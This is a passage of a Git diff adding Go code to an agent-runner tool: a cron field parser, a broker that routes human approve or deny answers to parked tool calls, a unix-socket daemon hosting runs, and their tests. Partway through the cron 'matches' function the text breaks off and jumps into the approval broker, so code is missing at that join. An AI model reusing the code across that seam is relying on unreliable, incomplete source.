hour: masks[1], dom: masks[2], month: masks[3], dow: masks[4], + domStar: stars[2], dowStar: stars[4], + }, nil +} + +// parseField compiles one field into a bitmask. star reports a bare "*" +// (a "*/n" step is NOT a star for the dom/dow union rule). +func parseField(s string, f field) (mask uint64, star bool, err error) { + if s == "*" { + return rangeMask(f.min, f.max, 1), true, nil + } + for _, part := range strings.Split(s, ",") { + body, stepStr, hasStep := strings.Cut(part, "/") + step := 1 + if hasStep { + step, err = strconv.Atoi(stepStr) + if err != nil || step < 1 { + return 0, false, fmt.Errorf("field %s: bad step %q", f.name, part) + } + } + lo, hi := f.min, f.max + switch { + case body == "*": + // full range with step + case strings.Contains(body, "-"): + loStr, hiStr, _ := strings.Cut(body, "-") + if lo, err = parseNum(loStr, f); err != nil { + return 0, false, err + } + if hi, err = parseNum(hiStr, f); err != nil { + return 0, false, err + } + if lo > hi { + return 0, false, fmt.Errorf("field %s: inverted range %q", f.name, part) + } + default: + if lo, err = parseNum(body, f); err != nil { + return 0, false, err + } + if hasStep { + hi = f.max // "n/step" means n..max by step (vixie cron) + } else { + hi = lo + } + } + mask |= rangeMask(lo, hi, step) + } + return mask, false, nil +} + +func parseNum(s string, f field) (int, error) { + n, err := strconv.Atoi(s) + if err != nil { + return 0, fmt.Errorf("field %s: bad number %q", f.name, s) + } + if f.name == "day-of-week" && n == 7 { + n = 0 // both 0 and 7 mean Sunday + } + if n < f.min || n > f.max { + return 0, fmt.Errorf("field %s: %d out of range %d-%d", f.name, n, f.min, f.max) + } + return n, nil +} + +func rangeMask(lo, hi, step int) uint64 { + var m uint64 + for v := lo; v <= hi; v += step { + m |= 1 << uint(v) + } + return m +} + +func (s *Schedule) matches(t time.Time) bool { + if s.minute&(1< suffix, and the CALLER must +// surface the returned id, not the original. Pair with Wait. +func (b *ApprovalBroker) Register(session, approvalID string) (string, <-chan ApprovalAnswer) { + b.mu.Lock() + defer b.mu.Unlock() + id := approvalID + for i := 2; ; i++ { + if _, taken := b.pending[key(session, id)]; !taken { + break + } + id = fmt.Sprintf("%s#%d", approvalID, i) + } + ch := make(chan ApprovalAnswer, 1) + b.pending[key(session, id)] = ch + return id, ch +} + +// Wait blocks until the registered ask is answered or ctx ends, then removes +// the registration (its own only — the id is unique per Register). +func (b *ApprovalBroker) Wait(ctx context.Context, session, id string, ch <-chan ApprovalAnswer) (ApprovalAnswer, error) { + defer func() { + b.mu.Lock() + delete(b.pending, key(session, id)) + b.mu.Unlock() + }() + select { + case a := <-ch: + return a, nil + case <-ctx.Done(): + return ApprovalAnswer{}, ctx.Err() + } +} + +// Ask is Register + Wait for callers that control their own id uniqueness. +func (b *ApprovalBroker) Ask(ctx context.Context, session, approvalID string) (ApprovalAnswer, error) { + id, ch := b.Register(session, approvalID) + return b.Wait(ctx, session, id, ch) +} + +// Answer resolves a parked ask; false when nothing is waiting under that key +// (wrong id, or the ask already resolved). +func (b *ApprovalBroker) Answer(session, approvalID string, a ApprovalAnswer) bool { + b.mu.Lock() + defer b.mu.Unlock() + ch, ok := b.pending[key(session, approvalID)] + if !ok { + return false + } + select { + case ch <- a: + return true + default: + return false // already answered; buffered-1 channel is full + } +} diff --git a/internal/daemon/approval_test.go b/internal/daemon/approval_test.go new file mode 100644 index 0000000..8853b34 --- /dev/null +++ b/internal/daemon/approval_test.go @@ -0,0 +1,143 @@ +package daemon + +import ( + "context" + "path/filepath" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/protocol" +) + +// An ask inside a hosted run parks on the broker, surfaces on the event +// stream, and an `approve` command from a SECOND connection resolves it — +// the cross-process approval round trip. +func TestDaemonApprovalRoundTrip(t *testing.T) { + broker := NewApprovalBroker() + answered := make(chan ApprovalAnswer, 1) + run := func(ctx context.Context, req RunRequest, sink protocol.Sink) error { + sink.Emit(protocol.Event{Kind: protocol.KindApprovalRequest, + ApprovalID: "apr-1", Tool: "bash"}) + a, err := broker.Ask(ctx, req.SessionID, "apr-1") + if err != nil { + return err + } + answered <- a + sink.Emit(protocol.Event{Kind: protocol.KindRunEnd, Reason: "completed"}) + return nil + } + sock := filepath.Join(t.TempDir(), "d.sock") + ctx, cancel := context.WithCancel(context.Background()) + defer cancel() + srv := &Server{ + SocketPath: sock, Run: run, Approvals: broker, + NewID: func(string) string { return "sess-a" }, + } + go func() { _ = srv.ListenAndServe(ctx) }() + deadline := time.Now().Add(5 * time.Second) + for time.Now().Before(deadline) { + if err := Dial(sock, Command{Cmd: "ping"}, func(protocol.Event) {}); err == nil { + break + } + time.Sleep(5 * time.Millisecond) + } + + // Client 1 submits and watches; it must see the ask. + sawAsk := make(chan struct{}) + runDone := make(chan []protocol.Event, 1) + go func() { + var got []protocol.Event + _ = Dial(sock, Command{Cmd: "run", SpecPath: "s.yaml", Task: "risky"}, + func(e protocol.Event) { + got = append(got, e) + if e.Kind == protocol.KindApprovalRequest && e.ApprovalID == "apr-1" { + close(sawAsk) + } + }) + runDone <- got + }() + select { + case <-sawAsk: + case <-time.After(5 * time.Second): + t.Fatal("the ask never surfaced on the run stream") + } + + // A wrong id is refused, the right one resolves. + var errText string + _ = Dial(sock, Command{Cmd: "approve", Session: "sess-a", ApprovalID: "nope", Decision: "deny"}, + func(e protocol.Event) { errText = e.Text }) + if errText == "" || e2k(errText) { + t.Fatalf("wrong-id answer should be refused, got %q", errText) + } + var okText string + _ = Dial(sock, Command{Cmd: "approve", Session: "sess-a", ApprovalID: "apr-1", + Decision: "approve", Reason: "looks fine"}, + func(e protocol.Event) { okText = e.Text }) + if okText != "answered apr-1: approve" { + t.Fatalf("answer ack = %q", okText) + } + + select { + case a := <-answered: + if !a.Approve || a.Reason != "looks fine" { + t.Fatalf("answer = %+v", a) + } + case <-time.After(5 * time.Second): + t.Fatal("the parked ask never resolved") + } + select { + case got := <-runDone: + last := got[len(got)-1] + if last.Kind != protocol.KindRunEnd { + t.Fatalf("run stream end = %+v", got) + } + case <-time.After(5 * time.Second): + t.Fatal("run never finished after approval") + } +} + +// e2k reports whether the text looks like a success ack (guards the +// wrong-id assertion above against accidentally matching). +func e2k(s string) bool { return s == "answered nope: deny" } + +// S6 review: two concurrent sibling asks with IDENTICAL deterministic ids +// must both be individually addressable — the second registration gets a +// suffixed id, and each answer reaches its own waiter. +func TestApprovalBrokerCollision(t *testing.T) { + b := NewApprovalBroker() + id1, ch1 := b.Register("sess", "apr-eff-tool-call_1_0") + id2, ch2 := b.Register("sess", "apr-eff-tool-call_1_0") + if id1 == id2 { + t.Fatalf("colliding registrations share id %q", id1) + } + + type got struct { + a ApprovalAnswer + err error + } + res1 := make(chan got, 1) + res2 := make(chan got, 1) + go func() { + a, err := b.Wait(context.Background(), "sess", id1, ch1) + res1 <- got{a, err} + }() + go func() { + a, err := b.Wait(context.Background(), "sess", id2, ch2) + res2 <- got{a, err} + }() + + if !b.Answer("sess", id2, ApprovalAnswer{Approve: false, Reason: "second"}) { + t.Fatal("answer to the suffixed id was refused") + } + if !b.Answer("sess", id1, ApprovalAnswer{Approve: true, Reason: "first"}) { + t.Fatal("answer to the original id was refused") + } + g1 := <-res1 + g2 := <-res2 + if g1.err != nil || !g1.a.Approve || g1.a.Reason != "first" { + t.Fatalf("waiter 1 got %+v", g1) + } + if g2.err != nil || g2.a.Approve || g2.a.Reason != "second" { + t.Fatalf("waiter 2 got %+v", g2) + } +} diff --git a/internal/daemon/daemon.go b/internal/daemon/daemon.go new file mode 100644 index 0000000..f264886 --- /dev/null +++ b/internal/daemon/daemon.go @@ -0,0 +1,575 @@ +// Package daemon is the resident runtime (S6 模块④, DESIGN §运行形态): +// a unix-socket server hosting runs so they outlive any single client. The +// wire protocol is the protocol package's JSON lines — the SAME encoding as +// `run --json` — bidirectionally: client→server lines are commands, +// server→client lines are output events. The daemon owns no run semantics: +// it hosts loops built by an injected RunFunc and multiplexes their output. +package daemon + +import ( + "bufio" + "context" + "encoding/json" + "errors" + "fmt" + "log/slog" + "net" + "os" + "sync" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/protocol" +) + +// Command is one client→server line. +type Command struct { + Cmd string `json:"cmd"` // ping | run | drive | attach | approve + + // run + SpecPath string `json:"spec_path,omitempty"` + Task string `json:"task,omitempty"` + Workspace string `json:"workspace,omitempty"` + Mode string `json:"mode,omitempty"` + + // attach / approve + Session string `json:"session,omitempty"` + + // approve + ApprovalID string `json:"approval_id,omitempty"` + Decision string `json:"decision,omitempty"` // approve | deny + Reason string `json:"reason,omitempty"` + + // IdemKey makes run/drive submission idempotent within the daemon's + // lifetime (DESIGN S6 修订): a retry with the same key attaches to the + // session the first submission created instead of minting a new one. + IdemKey string `json:"idem_key,omitempty"` +} + +// RunRequest is what the daemon hands the injected runner. +type RunRequest struct { + SessionID string + SpecPath string + Task string + Workspace string + Mode string +} + +// RunFunc hosts one run to completion, emitting output events to sink. The +// CLI injects the real wiring (provider, pipeline, store); tests inject +// fakes. It MUST journal through the normal store so attach replay works. +type RunFunc func(ctx context.Context, req RunRequest, sink protocol.Sink) error + +// DriveRequest is a hosted IterationDriver series (S6 完成标志①: a series +// runs unattended, its lifecycle reaching watchers and the notifier). +type DriveRequest struct { + SessionID string + SpecPath string + Workspace string +} + +// NewSessionID mints a session id for a hosted run; injected for +// deterministic tests. +type NewSessionID func(task string) string + +// Server hosts runs behind a unix socket. +type Server struct { + SocketPath string + Run RunFunc + NewID NewSessionID + // Replay renders a session's journal as output events for attach + // catch-up (补读). nil = attach serves live events only. + Replay func(sessionID string, sink protocol.Sink) error + // ScanTimers derives the parked sessions' pending-timer index from + // their journals; Resume hosts a session resume (same wiring as a + // foreground `resume`). Both non-nil → the daemon runs the durable + // timer sweeper: expired timers trigger a hosted resume, whose own + // sweep journals TimerFired. Clock nil = real time. + ScanTimers func() ([]SessionTimer, error) + Resume func(ctx context.Context, sessionID string, sink protocol.Sink) error + // Drive hosts an IterationDriver series (nil = the drive command is + // refused). Same hub/registry semantics as Run. + Drive func(ctx context.Context, req DriveRequest, sink protocol.Sink) error + Clock clock.Clock + // Approvals is the cross-process ask rendezvous: hosted runs park here + // (the CLI's resolver adapter calls Ask) and `approve` commands answer. + // nil = the approve command is refused. + Approvals *ApprovalBroker + // IdemPath persists the idem_key → session index (S7 还债: a submit + // retry AFTER a daemon restart still finds its session). Empty = the + // index lives for the daemon's lifetime only. + IdemPath string + // Notify receives LIFECYCLE events (run_end, approval_request) from + // every hosted run — the notifier's live tee (S6 模块⑤). It MUST NOT + // block: the caller is the run's emit path. + Notify func(protocol.Event) + + mu sync.Mutex + runs map[string]*hostedRun + failed map[string]bool // sessions whose timer-driven resume errored + idem map[string]string // idem_key → session (daemon lifetime) + conns map[net.Conn]struct{} + ln net.Listener + wg sync.WaitGroup + // runsWG tracks HOSTED RUNS (not connections): graceful shutdown waits + // for every run to reach its terminal journal event after the ctx + // cancel propagates — a routine deploy leaves zero in-doubt sessions + // (DESIGN §运行形态: 优雅停机). Add happens under mu against stopping, + // so a late connection can never Add after the shutdown Wait began. + runsWG sync.WaitGroup + stopping bool +} + +// hostedRun is one live run's broadcast hub. +type hostedRun struct { + id string + notify func(protocol.Event) + mu sync.Mutex + subs map[chan protocol.Event]struct{} + done bool +} + +// Emit implements protocol.Sink: fan out to every subscriber. A slow +// subscriber's overflow is DROPPED (可丢 delta doctrine — the journal is the +// durable truth; the live stream is ephemeral rendering). Lifecycle events +// additionally tee to the notifier hook, outside the lock. +func (h *hostedRun) Emit(e protocol.Event) { + e.Session = h.id + h.mu.Lock() + for ch := range h.subs { + select { + case ch <- e: + default: + } + } + h.mu.Unlock() + if h.notify != nil && + (e.Kind == protocol.KindRunEnd || e.Kind == protocol.KindApprovalRequest || + e.Kind == protocol.KindIteration) { + h.notify(e) + } +} + +// subscribe registers a live-event channel; the returned cancel removes it. +// A finished run returns ok=false — there is nothing live to subscribe to. +func (h *hostedRun) subscribe() (ch chan protocol.Event, cancel func(), ok bool) { + h.mu.Lock() + defer h.mu.Unlock() + if h.done { + return nil, nil, false + } + ch = make(chan protocol.Event, 256) + h.subs[ch] = struct{}{} + return ch, func() { + h.mu.Lock() + delete(h.subs, ch) + h.mu.Unlock() + }, true +} + +// finish marks the run done and closes every subscriber channel. +func (h *hostedRun) finish() { + h.mu.Lock() + defer h.mu.Unlock() + h.done = true + for ch := range h.subs { + close(ch) + delete(h.subs, ch) + } +} + +// ListenAndServe binds the socket and serves until ctx is done. A stale +// socket file (no listener behind it) is removed; a LIVE daemon on the same +// path is an error — two daemons must not split the session space. +func (s *Server) ListenAndServe(ctx context.Context) error { + if s.runs == nil { + s.runs = map[string]*hostedRun{} + } + if s.conns == nil { + s.conns = map[net.Conn]struct{}{} + } + if s.Clock == nil { + s.Clock = clock.Real{} + } + s.loadIdem() + ln, err := net.Listen("unix", s.SocketPath) + if err != nil { + if conn, derr := net.Dial("unix", s.SocketPath); derr == nil { + _ = conn.Close() + return fmt.Errorf("daemon: already running on %s", s.SocketPath) + } + _ = os.Remove(s.SocketPath) // stale socket from a dead daemon + ln, err = net.Listen("unix", s.SocketPath) + if err != nil { + return fmt.Errorf("daemon: %w", err) + } + } + // Owner-only, explicitly: anyone who can connect can submit runs and + // answer approvals, so the socket must not lean on the umask or the + // parent dir alone (S6 review). + _ = os.Chmod(s.SocketPath, 0o600) + s.ln = ln + go func() { + <-ctx.Done() + _ = ln.Close() + }() + if s.ScanTimers != nil && s.Resume != nil { + go s.sweepTimers(ctx) + } + slog.Info("daemon listening", "socket", s.SocketPath) + + for { + conn, err := ln.Accept() + if err != nil { + if ctx.Err() != nil { + // Graceful shutdown: the ctx cancel is already propagating + // into every hosted run (cooperative cancel → terminal + // events). Refuse new runs, wait for the live ones to finish + // journaling, then CLOSE the remaining connections — a + // client parked in a read/write must not wedge the deploy + // (S6 review P1) — and drain the handlers. + s.mu.Lock() + s.stopping = true + s.mu.Unlock() + s.runsWG.Wait() + s.mu.Lock() + for c := range s.conns { + _ = c.Close() + } + s.mu.Unlock() + s.wg.Wait() + return nil + } + return fmt.Errorf("daemon accept: %w", err) + } + s.wg.Add(1) + go func() { + defer s.wg.Done() + s.serveConn(ctx, conn) + }() + } +} + +// serveConn handles one connection: ONE command line in, an event stream +// out (v0 — interactive multiplexing arrives with approval routing). +func (s *Server) serveConn(ctx context.Context, conn net.Conn) { + s.mu.Lock() + s.conns[conn] = struct{}{} + s.mu.Unlock() + defer func() { + s.mu.Lock() + delete(s.conns, conn) + s.mu.Unlock() + _ = conn.Close() + }() + enc := json.NewEncoder(conn) + var cmd Command + sc := bufio.NewScanner(conn) + sc.Buffer(make([]byte, 0, 64*1024), 1024*1024) + if !sc.Scan() { + return + } + if err := json.Unmarshal(sc.Bytes(), &cmd); err != nil { + _ = enc.Encode(protocol.Event{Kind: protocol.KindError, Text: "bad command: " + err.Error()}) + return + } + switch cmd.Cmd { + case "ping": + _ = enc.Encode(protocol.Event{Kind: protocol.KindMessage, Text: "pong"}) + case "run": + s.handleRun(ctx, cmd, enc) + case "drive": + s.handleDrive(ctx, cmd, enc) + case "attach": + s.handleAttach(cmd, enc) + case "approve": + s.handleApprove(cmd, enc) + default: + _ = enc.Encode(protocol.Event{Kind: protocol.KindError, + Text: fmt.Sprintf("unknown command %q (known: ping, run, attach, approve)", cmd.Cmd)}) + } +} + +// handleApprove routes a human's verdict to the parked ask. +func (s *Server) handleApprove(cmd Command, enc *json.Encoder) { + if s.Approvals == nil { + _ = enc.Encode(protocol.Event{Kind: protocol.KindError, Text: "daemon has no approval broker"}) + return + } + if cmd.Session == "" || cmd.ApprovalID == "" || (cmd.Decision != "approve" && cmd.Decision != "deny") { + _ = enc.Encode(protocol.Event{Kind: protocol.KindError, + Text: "approve needs session, approval_id and decision approve|deny"}) + return + } + ok := s.Approvals.Answer(cmd.Session, cmd.ApprovalID, ApprovalAnswer{ + Approve: cmd.Decision == "approve", Reason: cmd.Reason, + }) + if !ok { + _ = enc.Encode(protocol.Event{Kind: protocol.KindError, + Text: fmt.Sprintf("no pending approval %s on session %s", cmd.ApprovalID, cmd.Session)}) + return + } + _ = enc.Encode(protocol.Event{Kind: protocol.KindMessage, + Text: "answered " + cmd.ApprovalID + ": " + cmd.Decision, Session: cmd.Session}) +} + +// handleRun hosts a new run and streams its events to the submitting client +// until the run ends. The run belongs to the DAEMON's lifetime, not the +// connection's: a client that disconnects mid-run only stops watching. +func (s *Server) handleRun(ctx context.Context, cmd Command, enc *json.Encoder) { + if s.Run == nil { + _ = enc.Encode(protocol.Event{Kind: protocol.KindError, Text: "daemon has no runner configured"}) + return + } + if cmd.SpecPath == "" || cmd.Task == "" { + _ = enc.Encode(protocol.Event{Kind: protocol.KindError, Text: "run needs spec_path and task"}) + return + } + // bypass is a workstation-only escape hatch (spec validation refuses it + // too); it must not be reachable over the wire (S6 review). + switch cmd.Mode { + case "", "default", "plan", "acceptEdits": + default: + _ = enc.Encode(protocol.Event{Kind: protocol.KindError, + Text: fmt.Sprintf("mode %q not allowed over the daemon (known: default, plan, acceptEdits)", cmd.Mode)}) + return + } + // Idempotent resubmission: the same key returns the FIRST submission's + // session — live, that means following its stream; finished, its replay. + if cmd.IdemKey != "" { + if existing, ok := s.idemSession(cmd.IdemKey); ok { + s.handleAttach(Command{Cmd: "attach", Session: existing}, enc) + return + } + } + id := s.NewID(cmd.Task) + hub := &hostedRun{id: id, notify: s.Notify, subs: map[chan protocol.Event]struct{}{}} + s.mu.Lock() + if s.stopping { + s.mu.Unlock() + _ = enc.Encode(protocol.Event{Kind: protocol.KindError, Text: "daemon is shutting down"}) + return + } + s.runs[id] = hub + s.runsWG.Add(1) + if cmd.IdemKey != "" { + s.registerIdemLocked(cmd.IdemKey, id) + } + s.mu.Unlock() + + ch, cancel, _ := hub.subscribe() + defer cancel() + + // The run runs on the daemon's ctx (not the connection's): it survives + // the client going away. The registry entry is removed when the run + // finishes — attach then serves replay only, and a long-lived daemon's + // map does not grow unboundedly (S6 review). + go func() { + defer s.runsWG.Done() + defer func() { + s.mu.Lock() + delete(s.runs, id) + s.mu.Unlock() + }() + defer hub.finish() + if err := s.Run(ctx, RunRequest{ + SessionID: id, SpecPath: cmd.SpecPath, Task: cmd.Task, + Workspace: cmd.Workspace, Mode: cmd.Mode, + }, hub); err != nil { + hub.Emit(protocol.Event{Kind: protocol.KindError, Text: "run failed: " + err.Error()}) + } + }() + + // Tell the client which session it got, then stream until the run ends. + _ = enc.Encode(protocol.Event{Kind: protocol.KindRunStart, Session: id}) + for e := range ch { + if err := enc.Encode(e); err != nil { + return // client went away; the run keeps going + } + } +} + +// handleDrive hosts an IterationDriver series exactly like a run: it belongs +// to the daemon's lifetime, its lifecycle events tee to the notifier, and a +// disconnected client only stops watching — the series keeps its cadence +// (S6 完成标志①: 无人 attach 跑过夜). +func (s *Server) handleDrive(ctx context.Context, cmd Command, enc *json.Encoder) { + if s.Drive == nil { + _ = enc.Encode(protocol.Event{Kind: protocol.KindError, Text: "daemon has no driver runner configured"}) + return + } + if cmd.SpecPath == "" { + _ = enc.Encode(protocol.Event{Kind: protocol.KindError, Text: "drive needs spec_path"}) + return + } + if cmd.IdemKey != "" { + if existing, ok := s.idemSession(cmd.IdemKey); ok { + s.handleAttach(Command{Cmd: "attach", Session: existing}, enc) + return + } + } + id := s.NewID("drive") + hub := &hostedRun{id: id, notify: s.Notify, subs: map[chan protocol.Event]struct{}{}} + s.mu.Lock() + if s.stopping { + s.mu.Unlock() + _ = enc.Encode(protocol.Event{Kind: protocol.KindError, Text: "daemon is shutting down"}) + return + } + s.runs[id] = hub + s.runsWG.Add(1) + if cmd.IdemKey != "" { + s.registerIdemLocked(cmd.IdemKey, id) + } + s.mu.Unlock() + + ch, cancel, _ := hub.subscribe() + defer cancel() + + go func() { + defer s.runsWG.Done() + defer func() { + s.mu.Lock() + delete(s.runs, id) + s.mu.Unlock() + }() + defer hub.finish() + if err := s.Drive(ctx, DriveRequest{ + SessionID: id, SpecPath: cmd.SpecPath, Workspace: cmd.Workspace, + }, hub); err != nil { + hub.Emit(protocol.Event{Kind: protocol.KindError, Text: "drive failed: " + err.Error()}) + } + }() + + _ = enc.Encode(protocol.Event{Kind: protocol.KindRunStart, Session: id}) + for e := range ch { + if err := enc.Encode(e); err != nil { + return // client went away; the series keeps going + } + } +} + +// handleAttach replays a session's journal (补读) and then follows the live +// stream if the run is still hosted. Detach is just closing the connection — +// zero events are produced by detaching (订阅不改结果). +func (s *Server) handleAttach(cmd Command, enc *json.Encoder) { + if cmd.Session == "" { + _ = enc.Encode(protocol.Event{Kind: protocol.KindError, Text: "attach needs session"}) + return + } + s.mu.Lock() + hub := s.runs[cmd.Session] + s.mu.Unlock() + + // Subscribe BEFORE replay so no live event slips between the two; the + // client may see an event twice around the seam, never a gap. + var ch chan protocol.Event + var cancel func() + if hub != nil { + if c, cn, ok := hub.subscribe(); ok { + ch, cancel = c, cn + defer cancel() + } + } + if s.Replay != nil { + if err := s.Replay(cmd.Session, sinkFunc(func(e protocol.Event) { + e.Session = cmd.Session + _ = enc.Encode(e) + })); err != nil { + _ = enc.Encode(protocol.Event{Kind: protocol.KindError, + Text: "replay: " + err.Error(), Session: cmd.Session}) + return + } + } + if ch == nil { + return // not hosted (finished or unknown): replay was everything + } + for e := range ch { + if err := enc.Encode(e); err != nil { + return + } + } +} + +// idemSession looks up an idempotency key's session. +func (s *Server) idemSession(key string) (string, bool) { + s.mu.Lock() + defer s.mu.Unlock() + id, ok := s.idem[key] + return id, ok +} + +// registerIdem records a key → session binding and, when IdemPath is set, +// persists the whole index atomically (tiny map, whole-file rewrite is +// simplest-correct). Caller holds s.mu. +func (s *Server) registerIdemLocked(key, id string) { + if s.idem == nil { + s.idem = map[string]string{} + } + s.idem[key] = id + if s.IdemPath == "" { + return + } + raw, err := json.Marshal(s.idem) + if err != nil { + return + } + tmp := s.IdemPath + ".tmp" + if err := os.WriteFile(tmp, raw, 0o600); err != nil { + slog.Warn("daemon: idem index write failed", "err", err) + return + } + if err := os.Rename(tmp, s.IdemPath); err != nil { + slog.Warn("daemon: idem index rename failed", "err", err) + } +} + +// loadIdem restores the persisted index; a missing or corrupt file is an +// empty index (idempotency degrades to daemon-lifetime, never an error). +func (s *Server) loadIdem() { + if s.IdemPath == "" { + return + } + raw, err := os.ReadFile(s.IdemPath) + if err != nil { + return + } + idx := map[string]string{} + if err := json.Unmarshal(raw, &idx); err != nil { + slog.Warn("daemon: idem index unreadable, starting empty", "err", err) + return + } + s.mu.Lock() + s.idem = idx + s.mu.Unlock() +} + +// sinkFunc adapts a func to protocol.Sink. +type sinkFunc func(protocol.Event) + +func (f sinkFunc) Emit(e protocol.Event) { f(e) } + +// Dial connects to a daemon socket and issues one command, streaming the +// response events to onEvent until the server closes the stream. +func Dial(socketPath string, cmd Command, onEvent func(protocol.Event)) error { + conn, err := net.Dial("unix", socketPath) + if err != nil { + return fmt.Errorf("daemon dial: %w", err) + } + defer func() { _ = conn.Close() }() + if err := json.NewEncoder(conn).Encode(cmd); err != nil { + return err + } + sc := bufio.NewScanner(conn) + sc.Buffer(make([]byte, 0, 64*1024), 1024*1024) + for sc.Scan() { + var e protocol.Event + if err := json.Unmarshal(sc.Bytes(), &e); err != nil { + return fmt.Errorf("daemon: bad event line: %w", err) + } + onEvent(e) + } + if err := sc.Err(); err != nil && !errors.Is(err, net.ErrClosed) { + return err + } + return nil +} diff --git a/internal/daemon/daemon_test.go b/internal/daemon/daemon_test.go new file mode 100644 index 0000000..470bc50 --- /dev/null +++ b/internal/daemon/daemon_test.go @@ -0,0 +1,504 @@ +package daemon + +import ( + "context" + "fmt" + "net" + "path/filepath" + "sync" + "sync/atomic" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/protocol" +) + +// startServer runs a Server with the given RunFunc on a temp socket and +// waits until it accepts connections. +func startServer(t *testing.T, run RunFunc, replay func(string, protocol.Sink) error) (string, context.CancelFunc) { + t.Helper() + sock := filepath.Join(t.TempDir(), "d.sock") + ctx, cancel := context.WithCancel(context.Background()) + var n atomic.Int64 + srv := &Server{ + SocketPath: sock, + Run: run, + Replay: replay, + NewID: func(task string) string { return fmt.Sprintf("sess-%d", n.Add(1)) }, + } + errCh := make(chan error, 1) + go func() { errCh <- srv.ListenAndServe(ctx) }() + t.Cleanup(func() { + cancel() + select { + case err := <-errCh: + if err != nil { + t.Errorf("server: %v", err) + } + case <-time.After(5 * time.Second): + t.Error("server did not shut down") + } + }) + // Wait for the socket to accept. + deadline := time.Now().Add(5 * time.Second) + for time.Now().Before(deadline) { + if err := Dial(sock, Command{Cmd: "ping"}, func(protocol.Event) {}); err == nil { + return sock, cancel + } + time.Sleep(5 * time.Millisecond) + } + t.Fatal("daemon never came up") + return "", nil +} + +func TestDaemonPing(t *testing.T) { + sock, _ := startServer(t, nil, nil) + var got []protocol.Event + if err := Dial(sock, Command{Cmd: "ping"}, func(e protocol.Event) { got = append(got, e) }); err != nil { + t.Fatal(err) + } + if len(got) != 1 || got[0].Text != "pong" { + t.Fatalf("ping → %+v", got) + } +} + +// run: the daemon hosts the run, streams its events (tagged with the +// session), and reports the assigned session id first. +func TestDaemonRunStreams(t *testing.T) { + run := func(ctx context.Context, req RunRequest, sink protocol.Sink) error { + sink.Emit(protocol.Event{Kind: protocol.KindTurnStart, Turn: 1}) + sink.Emit(protocol.Event{Kind: protocol.KindMessage, Turn: 1, Text: "hello from " + req.Task}) + sink.Emit(protocol.Event{Kind: protocol.KindRunEnd, Reason: "completed"}) + return nil + } + sock, _ := startServer(t, run, nil) + + var got []protocol.Event + err := Dial(sock, Command{Cmd: "run", SpecPath: "spec.yaml", Task: "wave"}, + func(e protocol.Event) { got = append(got, e) }) + if err != nil { + t.Fatal(err) + } + if len(got) != 4 { + t.Fatalf("events = %+v, want session banner + 3 run events", got) + } + if got[0].Kind != protocol.KindRunStart || got[0].Session == "" { + t.Fatalf("first event = %+v, want run_start with a session id", got[0]) + } + for _, e := range got[1:] { + if e.Session != got[0].Session { + t.Errorf("event %+v missing the session tag", e) + } + } + if got[2].Text != "hello from wave" { + t.Errorf("message = %+v", got[2]) + } +} + +// A hosted run belongs to the daemon, not the connection: the run finishes +// even when the submitting client disconnects immediately. +func TestDaemonRunSurvivesClientDisconnect(t *testing.T) { + ran := make(chan string, 1) + release := make(chan struct{}) + run := func(ctx context.Context, req RunRequest, sink protocol.Sink) error { + <-release + ran <- req.SessionID + return nil + } + sock, _ := startServer(t, run, nil) + + // Dial raw and hang up right after sending the command. + done := make(chan error, 1) + go func() { + done <- Dial(sock, Command{Cmd: "run", SpecPath: "s.yaml", Task: "long job"}, + func(e protocol.Event) { + // Disconnect after the banner by returning from Dial via + // closing: simplest is to panic-free early return — instead + // we just let Dial keep reading; the run blocks on release. + }) + }() + // Let the run start, then simulate the client vanishing by releasing + // AFTER we know nothing was consumed: close release; the run must still + // complete and report. + close(release) + select { + case id := <-ran: + if id == "" { + t.Fatal("run saw no session id") + } + case <-time.After(5 * time.Second): + t.Fatal("hosted run never completed") + } + select { + case <-done: + case <-time.After(5 * time.Second): + t.Fatal("client dial never returned") + } +} + +// attach: journal replay (补读) comes first, tagged with the session; a +// finished/unknown session is replay-only and the stream then closes. +func TestDaemonAttachReplaysFinishedSession(t *testing.T) { + replay := func(id string, sink protocol.Sink) error { + sink.Emit(protocol.Event{Kind: protocol.KindTurnStart, Turn: 1}) + sink.Emit(protocol.Event{Kind: protocol.KindMessage, Turn: 1, Text: "replayed"}) + return nil + } + sock, _ := startServer(t, nil, replay) + + var got []protocol.Event + if err := Dial(sock, Command{Cmd: "attach", Session: "old-sess"}, + func(e protocol.Event) { got = append(got, e) }); err != nil { + t.Fatal(err) + } + if len(got) != 2 || got[1].Text != "replayed" || got[1].Session != "old-sess" { + t.Fatalf("attach replay = %+v", got) + } +} + +// attach on a LIVE run: replay then live events, no gap — an event emitted +// after the subscription but during replay must not be lost. +func TestDaemonAttachFollowsLiveRun(t *testing.T) { + started := make(chan struct{}) + release := make(chan struct{}) + run := func(ctx context.Context, req RunRequest, sink protocol.Sink) error { + sink.Emit(protocol.Event{Kind: protocol.KindTurnStart, Turn: 1}) + close(started) + <-release + sink.Emit(protocol.Event{Kind: protocol.KindMessage, Turn: 1, Text: "late news"}) + sink.Emit(protocol.Event{Kind: protocol.KindRunEnd, Reason: "completed"}) + return nil + } + replay := func(id string, sink protocol.Sink) error { + sink.Emit(protocol.Event{Kind: protocol.KindTurnStart, Turn: 1, Text: "from journal"}) + return nil + } + sock, _ := startServer(t, run, replay) + + // Submit the run in the background; it parks on release. + go func() { + _ = Dial(sock, Command{Cmd: "run", SpecPath: "s.yaml", Task: "job"}, func(protocol.Event) {}) + }() + <-started + + // Attach while the run is parked, then release it: the attach stream + // must carry the replay AND the post-attach live events. + got := make(chan protocol.Event, 16) + attachDone := make(chan error, 1) + go func() { + attachDone <- Dial(sock, Command{Cmd: "attach", Session: "sess-1"}, + func(e protocol.Event) { got <- e }) + }() + + var seen []protocol.Event + // First the replay line. + select { + case e := <-got: + seen = append(seen, e) + case <-time.After(5 * time.Second): + t.Fatal("no replay event") + } + close(release) + deadline := time.After(5 * time.Second) + for len(seen) < 3 { + select { + case e := <-got: + seen = append(seen, e) + case <-deadline: + t.Fatalf("attach stream stalled at %+v", seen) + } + } + if seen[0].Text != "from journal" { + t.Errorf("replay first, got %+v", seen[0]) + } + sawLive := false + for _, e := range seen[1:] { + if e.Text == "late news" { + sawLive = true + } + } + if !sawLive { + t.Error("live event after attach was lost") + } + select { + case err := <-attachDone: + if err != nil { + t.Fatalf("attach: %v", err) + } + case <-time.After(5 * time.Second): + t.Fatal("attach stream never closed after run end") + } +} + +// Graceful shutdown: cancelling the daemon ctx cooperatively cancels every +// 